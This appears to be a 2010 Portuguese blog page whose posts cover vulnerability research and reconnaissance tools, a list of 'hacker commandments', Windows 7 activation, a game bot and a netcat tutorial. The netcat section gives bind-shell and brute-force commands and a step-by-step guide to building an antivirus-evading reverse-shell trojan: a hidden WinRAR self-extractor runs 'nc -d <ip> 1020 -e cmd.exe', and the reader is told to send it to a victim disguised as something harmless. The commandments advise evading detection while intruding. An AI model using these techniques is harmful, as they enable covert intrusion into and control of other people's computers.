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domingo, 30 de maio de 2010

Métodos para Testar Vulnerabilidades

Citação:
A. Prova de Conceito
B. Código de Exploração
C. Ferramentas Automatizadas
D. Versioning

Prova de Conceito:

1. Usado para demonstrar a existência de uma vulnerabilidade.

2. Fornecido por um fornecedor ou um pesquisador em um fórum aberto.

3. É uma demonstração do problema através de um bloco pequeno de código que não explora um sistema em benefício do atacante.

4. Não é um descrição que mostra ao usuário como reproduzir o problema.

5. Usada para identificar a origem do problema e recomendar uma solução.

6. Usada para notificar a comunidade de segurança, sobre um problema.

7. O objetivo é ganhar tempo entre o momento em que a vulnerabilidade é anunciada e o momento em que usuários maliciosos começam a produzir código para tirar proveito dessa vulnerabilidade e lançar ataques.

8. Um fornecedor é beneficiado a fim de que tenha tempo para produzir e lançar um path para o problema.

Código de Exploração:
1. Um programa escrito para tirar vantagem de um problema em alguma parte de um software.

2. É elaborado para mostrar mais detalhes de como uma vulnerabilidade pode ser explorada.

3. Pode ser escrito em várias linguagens.

4. Fornece à comunidade de segurança, um programa para demonstrar uma vulnerabilidade, produzir algum ganho para o usuário executando o programa.

5. Também torna possível o ataque a sistemas por usuários maliciosos.

6. Oferece clareza na exploração da vulnerabilidade e motivação para fornecedores produzirem um patch.

7. Lançar uma exploração funcional significa lançar um programa que tire proveito de um problema.

8. Fóruns que divulgam detalhes técnicos sobre uma vulnerabilidade e compartilham explorações funcionais são observados por muitos membros, todos com as suas motivações.

Ferramentas Automatizadas:
1. São pacotes de software criados por fornecedores para permitir testes de segurança (descobertas de vulnerabilidades) de forma automática.

2. Geram relatórios sobre lista detalhada dos problemas de vulnerabilidades com o sistema.

3. Permitem usuários legítimos realizarem auditorias para controlarem o andamento da proteção do sistema.

4. Usuários maliciosos, com a mesma ferramenta, podem identificar vulnerabilidades em hosts.

5. Usuários com pouco conhecimento técnico têm a capacidade de identificar e proteger seus hosts.

6. Gratuitamente disponível existe a Nessus (software livre para varredura de vulnerabilidades) da Nessus Project (www.nessus.org).

7. De código proprietário temos: CyberCop Segurity Scanner (Network Associates), NetRecon (Symantec), Internet Scanner (Internet Security Systems), IIS-Scan (…), Languard-Scanners (…), Iris (…).

Versioning:
1. Consiste em identificar versões ou revisões de software que um sistema está usando.

2. Muitos pacotes de software possuem uma versão (Windows 2000 Professional ou Solaris 8).

3. E muitos pacotes de software incluídos em um software versionalizado, também incluem uma versão (como uma distribuição LINUX, que é uma coleção de pacotes de software, cada um com sua próprias versões).

4. O método consiste na observação de uma lista de pacotes de software com versões anunciadas contendo vulnerabilidades, por um fornecedor.

5. Um método de realizar Versioning é executar o comando de versão em um pacote de software:

6. Como, por exemplo, o comando uname –a que fornece a revisão de kernel rodando em uma máquina LINUX.

7. Outro modo é usar uma ferramenta de gerenciamento de patch, provida por um fornecedor para verificar o software pela última versão.

8. Por exemplo, executar a ferramenta showrev –p em um sistema SUN SOLARIS).

Citação:
Identificando métodos para coleta de “inteligência”
Técnicas de Pesquisa Comum:
- Whois
- baseado em serviço de nomes,
- baseado em serviço de rede.
- DNS
- Ferramenta Dig
- Ferramenta nslookup

Whois:
1. Um banco de dados Whois é uma coleção de informações gratuitamente disponível na Internet.

2. Destinada a manter informações de contato para recursos de rede.

3. Existem vários: Whois.com, Whois.biz, e o banco da American Registry of Internet Numbers, contendo informações baseadas em serviço de nome (datalhes sobre um domínio) e baseadas em serviço de rede (informações sobre o gerenciamento de redes).

Whois baseado em serviço de nomes:
1. Fornecem diversos detalhes sobre um domínio.

2. Dados são fornecidos para facilitar a comunicação entre proprietários de domínio, no caso de um problema.

3. É o método apropriado para tratar os problemas que surgem, embora a tendência hoje pareça ser primeiro incomodar o provedor sobre um problema.

4. Nomes de domínio podem ser registrados através de diferentes registrars competindo:

5. ENOM é um registrar, uma empresa que faz registros de informações sobre domínios em bancos de dados Whois.

6. Em um banco de dados Whois baseado em serviço de nomes pode-se ver:

7. - informações de contato do proprietário de um domínio, como o nome, telefone, fax, endereço postal,
a. servidores de nome de domínio.

8. Esses dados podem proporcionar a um usuário um método para atacar e controlar um domínio.

9. Dados fornecidos incluem os servidores de nomes de domínio (DNS).


Whois baseado em serviço de rede:
1. Fornecem detalhes das informações de gerenciamento de redes.

2. Esses dados podem auxiliar o pessoal de rede e de segurança, com informações para localizar um host, se um problema ocorrer.

3. Fornece dados como o provedor de contato dos endereços de rede, e em alguns casos, alguma empresa alugando esse espaço de endereçamento.

4. Em um banco de dados Whois baseado em serviço de rede, pode-se obter:
a. - um espaço de endereços de rede (66.38.151.0 à 66.38.151.63)
b. - proprietário desse espaço de endereços (por exemplo, uma empresa ou grupo empresarial) e ou em alguns casos uma empresa ocupando (alugando) esse espaço.

5. Essas informações podem dar a um atacante as fronteiras para um possível ataque.

6. Por exemplo, para obter informações: prompt:> whois –h whois.arin.net 66.38.151.10

7. ARIN Registration Services

8. Usar servidor Whois em rs.internic.net para informação relacionada a registros de domínios (Internet’s Network Information Center).

9. Usar whois.nic.mil para informação sobre NIPRNET (Internet Protocol Router Network) .

Ferramenta dig:
1. Disponível gratuitamente, distribuído como parte do pacote BIND (Berkeley Internet Name Domain) do Internet Software Consortium.

2. Coleta informações dos servidores de DNS.

3. Usado para traduzir nomes dos hosts em endereços IP, ou vice-versa.

4. Muitas explorações não possuem a capacidade de traduzir os nomes dos hosts e precisam de endereços numéricos para funcionar.

5. Usado para para obter informações de versão de servidores DNS.

6. Prompt:> dig @pi.cipherpunks.com TXT CHAOS version.bind

7. TXT CHAOS version.bind são parâmetros para a busca do dig.

8. Os dados de nomeação do DNS são divididos em zonas.

9. Dig pode realizar outros serviços de DNS, como por exemplo, uma transferência de zona, que é uma função do DNS para distribuir registros de serviço de nomes a outros hosts.

10. A base de dados do DNS é distribuída através de uma rede lógica de servidores.
11. Cada servidor DNS retém parte da base de nomes, principalmente os dados para o domínio local.

12. Algumas das consultas são relativas a computadores no domínio local e são resolvidas por servidores dentro do domínio.

13. Contudo, cada servidor registra os nomes dos domínios e endereços de outros servidores de nomes, de modo que consultas para fora do domínio podem ser resolvidas.

14. Efetuando manualmente uma transferência de zona, um atacante pode ganhar informações valiosas sobre sistemas e endereços gerenciados por um servidor de nomes DNS.

Ferramenta nslookup:
1. nslookup é acrônimo de Name Service Lookup.

2. Gratuita no Internet Software Consortium.

3. Procura informações nos hosts através do DNS e retorna informações sobre um domínio.

4. Prompt:> nslookup

Citação:
Identificando métodos para coleta de “inteligência” II
1. Nmap

2. Indexação Web


Network Mapper:
1. Para um atacante ganhar acesso a um host, ele precisa ser lançado contra um serviço rodando no host.

2. O serviço precisa ser vulnerável a um problema que permitirá ao atacante ganhar acesso.

3. É possível descobrir que serviços o host utiliza, através de alguns métodos de coleta de “inteligência”.

4. Também é possível sondar portas em um host, com utilitários como netcat para saber se uma conexão pode ser feita com o serviço.

5. O processo de coletar informações sobre serviços disponíveis em um host é simplificado por ferramentas como o Network Mapper (Nmap).

6. O Nmap identifica os serviços abertos, públicos e os serviços que estão sendo filtrados por TCP Wrappers ou firewalls.

7. Prompt:> nmap –sS –O derivative.cipherpunks.com

8. Os flags -sS e -O instruem o Nmap a conduzir um scan SYN no host e identificar o sistema operacional através de respostas IP recebidas.

Indexação Web:
1. Conhecida como spidering.

2. Programas automatizados para vasculhar sites (conjunto de páginas) e indexar os dados de links de páginas desses sites para um banco de dados:

3. spiders, crawlers, agents, …

4. Esses programas visitam determinados sites, seguem links em páginas, e registram os dados desses links de cada página “visitada”.

5. spiders, crawlers, agents, …

6. Esses programas visitam determinados sites, seguem links em
páginas, e registram os dados desses links de cada página “visitada”.

7. Os dados obtidos (referentes aos links) são indexados e referenciados em um banco de dados relacional, e associados ao mecanismo de busca.

8. Quando um usuário visita um portal (Yahoo, WebCrawler, Google, AltaVista, Miner, …), a pesquisa de palavras-chave retornará vários links para uma página indexada.

9. Mas, o que acontece quando informações vitais contidas em um site não são armazenadas com controle de acesso apropriado?

10. Como os dados dos sites estão em arquivos, e se esses arquivos não estão suficientemente protegidos, isso pode permitir que um atacante ganhe acesso às informações do site e obtenha
“inteligência”, através do mecanismo de busca.


Extração de Páginas Web:
1. Ferramentas como a wget, podem ser usadas para extrair recursivamente todas as páginas de um site.

2. O processo é bem simples. Com wget :

3. prompt:> wget –m –x http://www.mrchal.com

4. O flag -m (mirror) diz a wget para baixar todos os arquivos dentro do site www.mrhal.com seguindo os links.

5. O flag -x preserva a estrutura de diretório do site quando for baixado.

6. Este tipo de ferramenta pode permitir a um atacante espelhar um site.

7. Um outro programa, chamado grep http://www.gnu.org/software/grep/grep.html

8. permite que um atacante procure links que possam ser de interesse.


Citação:
Problemas de Pesquisa de Vulnerabilidades
1. Existem várias maneiras de se abordar um problema.

2. Qual delas escolhemos depende dos recursos disponíveis e da metodologia com que estamos mais acostumados.

Recursos:
1. No caso de pesquisa de vulnerabilidades: os recursos são:
a. - código,
b. - ferramentas,
c. - tempo.


Métodos:
1. Pesquisa de Código-Fonte

2. Engenharia Reversa

3. Caixa-Preta

Vulnerabilidade:
1. Uma vulnerabilidade é um problema, explorável ou não, estando ela em um sistema operacional, um banco de dados, na lógica de uma aplicação ou numa interface Web.

Pesquisa, Metodologia:
1. Pesquisa é o processo de se reunir informações que podem levar ou não à descoberta de uma vulnerabilidade.

2. Metodologia é o conjunto de métodos recomendados, que podem ser usados para pesquisar vulnerabilidades.


Amplitude de Métodos e Ferramentas:
1. Do entusiasta de segurança doméstico ao auditor de código corporativo, os métodos e ferramentas são os mesmos.

2. Métodos variando de deduções a métodos científicos, …

3. Ferramentas variando de editores hexa a desassembladores de código, …

Escolha do Método:
1. Pesquisadores menos experientes podem preferir um método mais organizado de pesquisar vulnerabilidades.

2. Pesquisadores mais experientes em programação podem confiar mais no seu sentimento.

3. A escolha é uma questão pessoal.

4. Tipos de código diferentes exigem métodos de pesquisa diferentes : manipular código binário requer um método muito diferente de manipular código-fonte.

Observação:
1. Existem diversos esquemas de organização diferentes que são usados pelos pesquisadores na comunidade de segurança ao pesquisar vulnerabilidades.

2. Esses esquemas são variados.

3. Alguns pesquisadores confiam em auditorias metódicas, com organização pré-estabelecida, realizadas parte-por-parte.

4. Ou outros métodos consistentes, mas com uma organização subjetiva.

5. Existem gratuitamente disponíveis diversos pacotes de rastreamento de vulnerabilidade e de rastreamento de auditoria de software.

6. Bugzilla oferece diversos recursos e uma interface. Ver em http://bugzilla.mozilla.org/

Pesquisa de Código-Fonte:
1. O código-fonte pode ser escrito em qualquer linguagem: C, Perl, Java, C++, ASP, PHP, …

2. A pesquisa começa geralmente com a procura de funções propensas a erro.


Descoberta por diferença:
1. Método usado para se descobrir as vulnerabilidades de um pacote.

2. Tipo de pesquisa utilizado quando um fornecedor corrige uma vulnerabilidade em um pacote, mas não disponibiliza detalhes sobre o problema.

3. O método determina se um arquivo-fonte foi alterado, e se foi, que partes do arquivo foram alteradas de uma versão para outra.

4. Utilitário usado neste tipo de pesquisa: diff

5. http://www.gnu.org/software/diffutils/diffutils.html

6. diff é distribuído com a maioria dos sistemas operacionais UNIX.

7. Também disponível para outras plataformas através, por exemplo, da Free Software Foundation.

8. Usada em arquivos-fonte para mostrar as diferenças exatas entre as bases-fontes.

9. Ver exemplo, livro Ryan Russel, pag. 84-85.

10. Fornecedor provê um patch que seja um diff entre duas bases-fonte, como em FreeBSD. Ver exemplo, por Ryan Russel, pag. 85.


Pesquisa por Código-Fonte II:
1. Com a GNU License e movimentos de fontes aberta (open source), a opção de se obter o código-fonte é mais viável.

2. Mas, nem todos os fornecedores abraçaram esse movimento e muitos pacotes de software permanecem com fonte-fechada.

Funções Propensas a Erro:
1. Funções das próprias linguagens.

2. Na linguagem C, temos strcpy, sprintf ou mktemp.

3. Essas funções C são normalmente exploradas ou usadas impropriamente para realizar atividades maliciosas.

4. O usos das funções strcpy, sprintf pode resultar em transbordamento de buffer (buffer overflow), devido à falta de verificação de limite (o que é armazenado é maior do que a área reservada) que .

5. Exemplos: livro Ryan Russel, pag.88-91:
a. strcpy (c, b);
b. sprintf (c, “%s”, b);
c. strcat (c, b);
d. gets (c);

6. A função mktemp pode resultar em race conditions (condições de corrida) exploráveis como substituição de arquivos e elevação de privilégios. Ver no exemplo, livro Ryan Russel, pag. 93.

Race Conditions
1. São erros de programação comuns definidos como uma situação onde alguém pode adulterar um programa para um determinado evento.

2. Eventos podem ser desde bloquear a memória para evitar que outro processo altere os dados, em um segmento compartilhado, até a criação de um arquivo no sistema de arquivos.

3. Exemplo: Livro Ryan Russel, pag.93,
o Caso “race condition” ocorre entre a verificação da existência de um nome de arquivo e a criação do arquivo.

o A limitação da quantidade máxima de nomes que o arquivo pode usar pode resultar em um ataque de link simbólico.

Bugs de Validação de Entrada:
1. Esse tipo de problema pode resulatar em vulnerabilidades de string de formato.

2. Uma vulnerabilidade de string de formato consiste em passar vários especificadores de string, como:
a. - %i%i%i%i ou,
b. - %n%n%n%n, … …

3. … … para um programa, possivelmente, resultando na execução do código.

4. Exemplo: Livro Ryan Russel, pag. 91-92.

5. A inexistência de validação de entrada, pode permitir que um usuário explore programas como:
a. executáveis de raiz setuid
i. (com privilégio de usuário root)

b. interfaces de aplicações Web,
c. execução de comandos SQL arbitrários, na comunicação entre um front-end Web e um back-end de banco de dados SQL fazendo-os funcionar mal pela passagem de parâmetros inadequados para eles.

6. executáveis de raiz setuid,
a. - conduzem a exploração para executar código com privilégio de usuário root.

7. interfaces de aplicações Web,
a. - isso pode permitir que alguém execute
b. comandos arbitrários em um sistema
c. com os privilégios de usuário Web,
d. - permitir a um usuário vincular um shell
e. a uma porta arbitrária no sistema e ganhar
f. acesso local com permissões do processo
g. HTTP.

8. execução de comandos SQL arbitrários, na comunicação entre um front-end Web e um back-end de banco de dados SQL:
a. - o usuário pode ver tabelas arbitrárias;
b. - executar funções dentro do banco de dados;
c. - baixar tabelas.


Técnicas de Engenharia Reversa:
1. Localizar vulnerabilidades em programa de fonte fechada.

2. Pode ser realizada com diversas ferramentas, conforme o sistema operacional.

3. Em geral, começa-se com algumas ferramentas de monitoramento sistema operacional para determinar que tipos de arquivos e outros recursos o programa acessa.

4. Uma exceção é se o programa for um programa de rede, caso em que se pode ir direto ao sniffing.

5. Fonte de ferramentas para Windows é www.sysinternals.com .

6. Ferramentas de interesse:
a. FileMon
b. RegMon

7. Mais sobre essas ferramentas no Cap. 5 sobre Diferenciação.

8. FileMon e RegMon permitirão monitorar um programa em execução, para ver que arquivos estão sendo acessados, se o programa está lendo ou gravando, onde no arquivo ele está e que outros arquivos ele está procurando.

9. Existem três versões de quase todas as ferramentas da SysInternals, e a maioria vem com código-fonte.

10. www.Winternals.com vende ferramentas para Windows com mais funcionalidade incluída.

11. A maioria das distribuições UNIX vem com um conjunto de ferramentas equivalentes.

12. Em Rosetta Stone, http://bhami.com/rosetta.html , existe uma grande quantidade de ferramentas de rastreamento.

13. Ferramentas UNIX: trace, strace, ktrace e truss.

14. Ver exemplo, com strace no Linux Red Hat 6.2, pag. 95-100.

15. A tarefa do strace (e das outras ferramentas) é mostrar chamadas de sistema (kernel) e seus parâmetros.

16. Pode-se aprender muito sobre como um programa rastreado funciona, usando-se ferramentas de rastreamento.

17. Os exemplos em no livro Ryan Russel,

18. pag. 95-100, demonstram o que você pode aprender pedindo ao sistema operacional para lhe dizer o que ele está fazendo na execução de um programa sendo rastreado.

19. Para um programa complexo estaríamos procurando arquivos em /tmp de nome fixo, leitura de arquivos graváveis por qualquer pessoa, quaisquer chamadas exec, e assim por diante.

Pesquisa de Código Binário:
1. Rastrear a execução de um programa.

2. Ferramentas para executar essa tarefa:
a. truss com o Solaris (SUN),
b. strace com o LINUX

3. Rastrear um programa envolve como a execução do programa interage com o sistema operacional.

4. As variáveis de ambiente extraídas pelo programa podem ser reveladas com flags da ferramenta de rastreamento.

5. Endereços de memória podem ser revelados.

6. Rastrear um programa através de sua execução pode revelar informações sobre vulnerabilidades em certos pontos do programa.

7. O uso do rastreamento pode determinar onde e quando uma vulnerabilidade ocorre.

Depuradores:
1. Debuggers

2. Método de se pesquisar vulnerabilidades dentro de um programa, enquanto ele é executado.

3. Várias implementações de debuggers.

4. GNU Debugger (GDB).

5. Controlam o fluxo de execução enquanto o programa roda.

6. O programa inteiro pode ser depurado, ou partes dele.

7. Exibem informações como: registradores, endereços de memória e
outras que podem levar à descoberta de um problema explorável.

8. Param em certos pontos na execução, mudam variáveis, e alteram dinamicamente o código de máquina em alguns casos.

Desassembladores:
1. Obtém código binário e o transforma em alguma linguagem de mais alto nível, geralmente em uma linguagem Assembly.

2. É preciso ser capaz de se ler o código em Assembly.

3. Um “desassemblador” para Windows é o IDA Pro (DataRescue).

4. “Desassembla código para várias famílias de processadores, inclusive o Java Virtual Machine.

5. Versão de avaliação limitada está em www.datarescue.com/idabase/ida.htm

6. SoftICE (Numega), www.compware.com/products/numega/drivercentral

7. Outras ferramentas relacionadas:
a. nm e objdump da coleção GNU binutils.

8. objdump manipula arquivos binários: exibe cabeçalhos, símbolos em arquivo binário, e “desassembla” em código assembly.

9. nm é similar e permite ver símbolos referenciados por um arquivo binário.

Auditoria baseada em Regras:
1. Documentos de projeto são usados:
a. diagramas de engenharia de software,
b. folhas de informações,
c. especificações como em RFCs.

2. A auditoria é feita através da verificação da conformidade do código com sua especificação no projeto.

3. Examinando a especificação de um protocolo é possível testar serviços comparando-os com sua especificação.

4. Além disso, aplicar tipos de ataques conhecidos (buffer overflow ou strings de formato) em certas partes da implementação, pode conduzir a verificação da vulnerabilidade.

Citação:
Sniffers:
1. Uso de sniffers como ferramentas de pesquisa de vulnerabilidades.

2. Podem ser usados em redes para monitorar a interatividade entre os usuários na rede e os serviços providos por sistemas.

3. Isso possibilita a observação e a representação de tendências que ocorrem no uso de pacotes que provêem serviços.

4. Trabalham em conjunto com a auditoria baseada em regras.

5. Podem ser usados na pesquisa de vulnerabilidades de interfaces Web (bugs de validação de entrada) ou em protocolos de rede não especificados por padrão público, mas comumente usados.

Mandamentos hacker(não fui eu q criei)

1. Descobriu algo novo, olhe!
2. Não apague nada! É melhor ter acesso a um provedor do que destruí-lo.
3. Não modifique nada, ao menos que queira ser descoberto.
4. Para atacar, escolha um horário entre 00:30 e 06:00.
5. Não teste vírus no seu próprio HD.
6. Tenha uma estratégia pronta antes de atacar.
7. Se possível, use os computadores de acesso público. É mais seguro!
8. Não distribua, pra ninguém, informações ou dados sobre o que você pegou.
9. Não confie em ninguém
10. Não obedeça regras ( Claro que essas Regras devem ser obedecidas ).
11. Não tenha pena de niguém.
12. Não crie laços afetivos com a vítima.
13. Aprenda o máximo que puder com quem sabe mais!
14. Você usa MS-DOS ou o Windows? Não conte a niguém...
15. Você usa UNIX ou LINUX? Certifique-se de que está bem seguro...
16. Se pegar a senha de alguém e não souber o que fazer, mate-se !
17. Uma vez dentro, tente dominar o lugar. É claro: com muita cautela !
18. Nunca tente um su ou root direto. Isso fica logado!
19. Não fique dando telnet, pegando e-mail ou utilizando o acesso dos outros.
20. Nunca substime um sysop.
21. Você deve sempre aprimorar suas técnicas. Lembre-se: "Os hackers são as pessoas mais inteligentes e estudiosas do planeta!".

sábado, 29 de maio de 2010

Ativando o Windows 7 pela internet ou telefone


Quando o tempo de teste do Windows 7 está expirando ou expira, devemos ativar o sistema operacional da Microsoft por telefone ou internet através de um código serial único para o sistema.

Devido a pirataria e os esforços da empresa em desativar os sistemas Windows 7 crackeados e com seriais falsas, acontece também de as vezes os sistemas com seriais legítimos serem considerados como falsos e aparecer na tela as mensagens de que provavelmente você foi enganado com uma versão pirata do Windows 7, mesmo o SO sendo original e comprado em lojas confiáveis.

Então veremos neste passo a passo, como fazer para ativar novamente o seu Windows 7 com a devida serial original, sem crack (já conheci pessoas com o SO original usarem crack por não saberem como ativar o Windows 7).

Há duas maneiras de se fazer isso, por telefone, onde se liga para o número informado na tela, digita-se a serial válida e logo em seguida se obtém um código de registro (ID) ou pela internet.

Para isso, clique no menu “Iniciar” do Windows (aquela bolinha com o símbolo do Windows redondo que fica na parte inferior da tela) e clique com o botão direito do mouse em “Computador”, escolhendo em seguida “Propriedades”.Agora clique no link “Ative o Windows agora” ou “Activate Windows now” que aparecerá logo após ter aberto a janela de propriedades do computador, conforme o passo acima. O link “Change product key” ou “Mudar a chave do produto” deverá ser usado caso queira mudar a serial key do Windows 7 (caso tenha testado o sistema e obtido a compra da licença, que nada mais é uma serial key válida).

Uma janela com uma mensagem dizendo que o Windows está verificando a chave (serial) do sistema aparecerá, bastando apenas aguardar alguns instantes.

Pronto, uma frase dizendo que o Windows foi ativado com sucesso deverá aparecer. Essa é a confirmação de que seu Windows passou pela validação e é original.

Caso tenha aparecido algum erro dizendo que a serial não é válida, você poderá tentar ativar o Windows 7 pelo telefone, onde uma secretária eletrônica virtual irá lhe atender e onde deverá digitar no telefone o ID que aparece na tela para receber o ID de confirmação vindo do telefone.

Se mesmo assim tiver dificuldades e realmente tem certeza de que seu Windows 7 é original, basta entrar em contato com o suporte da Microsoft do Brasil pelo telefone: (11) 4706 0900 em São Paulo ou 0800 761 7454 para as demais localidades, nos seguintes horários: 2ª a 6ª feira, das 8h às 20h. Sáb., Dom. e feriados, das 9h às 19h.

sábado, 22 de maio de 2010

Jogar colheita feliz,truques parte 2



Funcões:
* Colher / Roubar plantações;
* Colher Animais;
* Aplicar Inseticidas;
* Molhar Plantas.

Instruções:
1º – Baixe e instale o BOT
2º – Mude o visual do Orkut para OLD – Versão Antiga (Caso contrario o BOT não vai fucionar de forma correta!)
3º – Execute o BOT
4º – Clique em “Abrir Orkut”, entre com seu login e senha, espere o Colheita Feliz carregar totalmente!
5º – Coloque o numero de amigos que você possui no jogo e clique em “OK”
6º – Clique em Ativar, o BOT iniciará a rotina, para cancelar basta apertar “F1″
7º – Para “Pausar” a rotina, aperte “F3″ e segure por 3 segundos, para “Continuar” a rotina, aperte “F4″ e segure por 3 segundos.

O link para download do boot esta na sessão de downloads

sexta-feira, 21 de maio de 2010

Netcat - Comandos, Trojan, Brute Force e Mais

Vamos dar uma olhada nos comandos do netcat, a opção -H exibe as opções do programa. Basta digitar nc -h e dar enter.

Veremos os principais comandos do netcat:
l = Coloca uma porta em estado de listenning(escuta)
L = Coloca uma porta em listenning(escuta), reabrindo a porta caso ela feche
P = Define uma porta
V = ativa o recebimento de eco
U = utiliza o protocolo UDP ao invés de TCP
T = para se conectar a TELNET
O = Gera um log em formato hexadecimal
W = Determina um tempo máximo para aguardar uma reposta
E = Redireciona arquivos
D = Coloca o netcat em modo furtivo, ou seja, permanece carregado em memória.

Bem, agora que já conhecemos os comandos mais usados do netcat vamos a pratica:

Colocando uma porta em escuta:


Nc -l -p 8080 isso faria com que o netcat colocasse a porta 8080 em escuta, note que foi usado -v para que fosse mostrado a saída do programa na tela "listening on [any] 8080 ...", caso a opção -v não fosse inserida este texto não seria mostrado.

Fazendo um Port-Scanner com o netcat


nc -vv 127.0.0.1 1-6550 isso faz um scanner da porta 1 à 6550 mais você também pode selecionar as portas que deseja escanear dando um espaço entre os intervalos de portas a ser escaneados ex: nc -vv 127.0.0.1 21 80 23 79 25 isso faria um scanner nas portas 80, 23, 79 e 25.

Fazendo um trojan com o netcat

Note que basta redirecionar todo o trafego de uma porta enviando a cmd.exe se for windows e bin/bash.sh se for UNIX a sintaxe é a seguinte em sistemas windows nc -L -p 1024 -e cmd.exe e nc -l -p 1024 -e bin/sh em UNIX.

Fazendo um ataque de brute force com o netcat
O canivete suíço do TCP/IP tem muitas funções interessante uma delas é o brute force um exemplo: nc -vv 79 <> c:\log.txt note que você precisara de um arquivos com nome de usuários em c: e todo log será gravado em c:\log.txt para que você possa analisar depois. esse força bruta foi feita em cima da porta 79 FINGER mais poderia ser facilmente adaptada a outras portas.

Fazendo um sniffer com o netcat
O fantástico netcat também pode servir como um sniffer e captura todo trafego em uma rede basta colocar nc -vv -L 127.0.0.1 -p 80 note que o L deve ser maiúsculo pois, esta opção reabre socketes fechados, isso fará com que o netcat capture todo trafego na porta 80 acho que nem é mais necessário dizer que podemos também gravar toda saída em um arquivo TXT, mais bem pra você que ainda não sacou a jogada ai vai nc -vv -L 127.0.0.1 -p 80 > c:\sniffer.txt

Netcat - Trojan Indetectável


Com certeza uma das maiores dificuldades de se fazer um ataque por trojan, está na camuflagem do "bixo", pois os anti-vírus estão cada vez mais avançados, tornando a invasão por trojan algo muito difícil...

Pois para camuflar o mesmo teríamos que entender a fundo o a estrutura dos executáveis para Windows, cabeçalhos PE, sem contar com programação em assembly para podermos editar o trojan usando um editores hexadecimais e debuggers, para deixá-lo invisível aos olhos do ainti-vírus, é claro que há exceções que você poderá editar apenas usando um explorador de PE como o ResourceHacker. Então, se você conhece todos os assuntos citados anteriormente, OK você com certeza poderá fazer com que seu trojan passe despercebido pelo anti-vírus, mas... e o Firewall?

Qual será o truque para burla-lo? Bom, acho que já está na hora de te apresentar uma técnica de criação de trojan que faz o mesmo passar despercebido diante destes dois sistemas de proteção, esta técnica consiste em compactar o executável do NetCat (nc.exe) usando o WinRar e usando as opções de SFX do mesmo nos permitirá criar um trojan que faça conexão reversa, indetectável tanto aos olhos do anti-vírus como do firewall, Por que? Isso vou te explicar no decorrer deste artigo, Seja bem vindo!

O que é Conexão Reversa?

A conexão reversa é um tipo de invasão parecida com uma invasão por trojan, só que ao invés de o "cracker" se conectar ao alvo, como é feito tipicamente usando trojans, o alvo é quem se conecta ao hacker, dando-lhe total acesso a máquina invadida e fazendo com que bloqueios como firewalls sejam facilmente burlados e também é muito útil quando se quer invadir um computador que esteja na rede interna, já que a vítima é quem se conecta ao invasor.

Sobre o NetCat

O NetCat que é considerado pelos hackers o canivete suíço do TCP/IP, devido a sua incrível flexibilidade, com o NC(NetCat), podemos fazer desde uma simples conexão a um host até um brute force por wordlist, para quebrar senhas de um determinado serviço.

Sobre o WinRar

WinRAR parece nome de super-herói mas é o nome da versão para Windows do compactador de arquivos RAR.

Por que indetectável?

Primeiro vou explicar por que o trojan criado usando esta técnica é indetectável pelo o anti-vírus depois explico porque o mesmo é indetectável pelo firewall.

Anti-vírus:

Simples, nenhum anti-vírus, (pelo menos os do meu conhecimento) julgam o NetCat e o WinRar como programas nocivos. Por isso quando um anti-vírus faz uma varredura em um trojan feito usando esta técnica, ele só vai encontrar um executável criado pelo WinRar com o NetCat dentro dele compactado, e não vai emitir avisos pois trata-se de um programa inócuo (aos olhos do anti-vírus).

Firewall:

Como este trojan vai usar conexão reversa, nós não vamos ter que nos preocupar com firewalls porque a maioria dos firewall bloqueiam programas que queiram abrir portas, não os que simplesmente querem se conectar a uma determinada porta que já esteja aberta. Resumindo: Os firewalls se preocupam mais em proteger de fora pra dentro do que de dentro pra fora. Não entendeu? Então eu te explico melhor: Se você instala um trojan convencional que tente abrir uma porta na máquina da vítima para que o hacker se conecte, o firewall com certeza vai te bloquear, mas se você envia um trojan que vá se conectar a uma porta já aberta no seu computador (neste caso você é o invasor), dificilmente o firewall vai te bloquear.

Let's go...

Agora que já conhecemos estas duas magníficas ferramentas, vamos ao que realmente interessa, vamos iniciar a criação do nosso trojan, então siga o passo-a-passo abaixo, mas "use com moderação"

Após baixar e descompactar o NetCat, abra a pasta onde você descompactou os arquivos do NetCat e compacte apenas o arquivo nc.exe usando o WinRar.

Abra o Arquivo compactado, clicando duas vezes sobre o mesmo e em seguida clique no botão SFX, e logo após em "Opções Avançadas de SFX".

Agora em Caminho para extração, informe o diretório onde você quer que o arquivo seja extraído, nos meus testes eu coloquei c:\windows\system32. No grupo Configurações do Programa e no campo Executar após a extração informe os seguintes parâmetros:

nc -d 192.168.28.2 1020 -e cmd.exe

isso fará com que o assim que executado o trojan se conecte a você.

Onde o IP (192.168.28.2) deverá ser substituído pelo seu, já que é a vítima que vai se conectar a você, e você também poderá substituir a porta (que está logo após o IP) por outra de sua preferência.

Agora clique na Aba Métodos

No Grupo de opções Método de espera, marque a opção Ocultar tudo, esta opção serve para que o NetCat seja executado em segundo plano, para que o alvo não perceba que está rodando um programa malicioso no seu computador. Logo em seguida no grupo de opções Métodos de Substituição, marque a opção Ignorar arquivos existentes para que o WinRar não nos dedure.

Clique na Aba Texto e ícone e escolha um ícone para o executável do seu trojan, clicando em Procurar.

Finalmente clique em OK nas duas janelas abertas e em seguida feixe o WinRar e Pronto! O seu trojan indetectável já está pronto, agora no seu computador vamos configurar o NetCat para que ele fique escutando em uma determinada porta (nos meus testes ou configurei a porta 1020). Veja abaixo como fazer isto:

Copei o arquivo nc.exe para a pasta c:\windows\system32

Vá no menu Iniciar >> Executar >> Digite "cmd" (sem as aspas)

E agora vamos deixar o NetCat na escuta na porta 1020 (lembre-se que tem que ser a que você configurou quando criava o trojan). No prompt de comando digite:

nc -l -n -p 2525 -vv

Em seguida ele ficará assim:

C:\Documents and Settings\Lord Dexter\Desktop\nc111nt>nc -l -n -p 1020 -vv
listening on any 1020 ...

O NetCat já está na escuta, apenas esperando pela conexão do seu alvo. Agora só te resta enviar o trojan para o seu alvo por eMail, Chat, etc, como se fosse algo inofensivo e esperar que ele o execute, pois no mesmo instante em que o trojan é executado ele se conectará instantaneamente a você te dando de presente um belo Shell, como o da representação abaixo:

C:\Documents and Settings\Lord Dexter\Desktop\nc111nt>nc -l -n -p 1020 -vv
listening on any 1020 ...
connect to [192.168.25.8] from (UNKNOWN) [127.0.0.1] 5402
Microsoft Windows XP versão 5.1.2600
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>_

É isso ai galera,termina aqui,podem comentar o que acharam
desse tutorial.

Hacking Windows via RPC (Remote Procedure Call)

Introdução

